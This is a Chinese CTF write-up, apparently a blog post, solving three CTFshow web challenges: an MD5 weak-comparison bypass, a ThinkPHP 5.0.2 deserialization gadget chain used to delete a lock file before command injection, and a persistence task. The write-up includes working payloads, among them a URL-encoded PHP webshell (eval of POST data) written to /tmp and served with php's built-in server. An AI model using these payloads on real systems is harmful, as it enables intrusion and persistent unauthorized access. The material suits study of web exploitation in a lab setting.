CTFSHOW月饼杯II

web签到

复制代码
<?php
  //Author:H3h3QAQ
  include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
  if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
    判断 YBB 的 MD5 值是否等于 YBB 本身
    echo "小伙子不错嘛!!flag给你了:" . $flag;
  } else {
    echo "偶吼,带黑阔被窝抓到了!!!!";
  }
}

MD5绕过以为一个数组绕过可以直接秒掉

这里是弱比较那我们就用科学计数法来绕过

通常我们使用数组绕过,是因为像 MD5这种老函数在处理数组时会返回 NULL。如果两边都是 NULL,则 NULL==NULL成立

hash()函数的特性 :与md5()函数不同,hash()函数不支持数组输入。如果你给hash()传入一个数组,它会直接报错或返回false(取决于 PHP 版本),而不会像 MD5()那样产生可利用的 NULL

比较逻辑断裂:即便 hash()返回了 false(),你传入的$_GET"YBB"却是一个真实的数组 1。在 PHP 弱类型比较中,false==array是不成立的

MD5弱比较

eztp

复制代码
<?php
namespace app\index\controller;
class Index
{   
    public function index($run=[])
    {
        highlight_file(__FILE__);
        echo '<h1>Welcome to CTFSHOW</h1></br>';
        echo 'Powered by PHPthink5.0.2</br>';
        echo dirname(__FILE__);
      输出当前文件所在目录

    if (!empty($run[2])){
      当传了 ?run[2]=xxx 并且不为空时触发
            echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
        }
    if (!empty($run[1])){
      直接对可控参数进行反序列化
      $run[1] 是完全可控的典型的反序列化漏洞入口
            unserialize($run[1]);
        }
    }
    // hint:/index/index/backdoor
    public function backdoor(){
        if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
        echo "Try to post CMD arguments".'<br/>';
            $data = input('post.');
            if (!preg_match('/flag/i',$data['cmd'])){
                $cmd = escapeshellarg($data['cmd']);
        $cmd='cat '.$cmd;
        echo $cmd;
                system($cmd);
            }else{
                echo "No No No";
            }

        }else{
        echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
    }
    }
}

首先解码加密内容

提示 flag 在 flag,txt

通过backdoor得到flag,但需要先删除"install.lock"

根据报错信息,Thinkphp版本为5.0.2

可以利用Thinkphp5.1任意文件删除漏洞

https://blog.csdn.net/weixin_74427106/article/details/134626206

复制代码
<?php
namespace think\process\pipes;
反序列化必须保证类名和命名空间与目标环境完全一致,否则 PHP 找不到这个类
use think\Process;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = ["/var/www/html/application/index/controller/../../install.lock"];
      设置要删除的目标路径。你根据之前 dirname(__FILE__) 的提示,精准定位到了 install.lock
    }
}
echo urlencode(serialize(New Windows()))."\n";
serialize(New Windows())
将构造好的对象转换为字符串
?>

/index.php/index/index/?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

成功删除后访问

cmd=/fl%99ag

%99(一个不可见的非 ASCII 字符)

ThinkPHP 5.0.x 反序列化漏洞 + 任意文件删除 + RCE

不要离开我

复制代码
<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
  如果 action=check,服务器会向内部的 checker 发起请求
        break;
    default:
        die('params not validate');
  如果不传 action 或者传的值不是cmd和check,程序直接终止并报错
}

params not validate
复制代码
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
没有编码发现没有反应编码之后成功发送   这个\是为了避免shell被转义
  cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b
    看看有没有设置成功

看看有没有设置成功

复制代码
cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");

cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a

然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

check之后光速退出,就可以看到这个页面

权限维持

相关推荐
Capricorn19887 小时前
知芽研究问题看板无法推进?从孵化区到笔记的机制排查指南
大数据·论文阅读·人工智能·笔记·学习方法·论文笔记
我命由我123452 天前
四流一致(合同流、业务流、资金流、发票流)
经验分享·学习·职场和发展·求职招聘·职场发展·产品经理·学习方法
ppwangGS2 天前
我的AI应用实践之路:从工作流到智能体(系列规划与第一篇)
人工智能·ai·学习方法
Aurorar0rua3 天前
CS50 x 2024 Notes Memory - 03
c语言·开发语言·学习方法
云空3 天前
《电子专业完整学习路线图(分两套:本科四年版 / 零基础自学速成版)》
科技·学习·学习方法·高考
学习和思考3 天前
非自动化专业如何自学PLC?我的6个月学习路线图
笔记·学习·自动化·学习方法
青年IT男6 天前
用“诊断—整理—限时—复盘”准备高中开学摸底考试
学习方法·教育
菜冻鱼7 天前
Python-pandas-索引与筛选
开发语言·笔记·python·numpy·pandas·学习方法
一位不愿透露姓名的陈先生7 天前
专业PDF翻译工具推荐
职场和发展·创业创新·学习方法·改行学it
我命由我123458 天前
匈牙利命名法
java·服务器·后端·学习·java-ee·kotlin·学习方法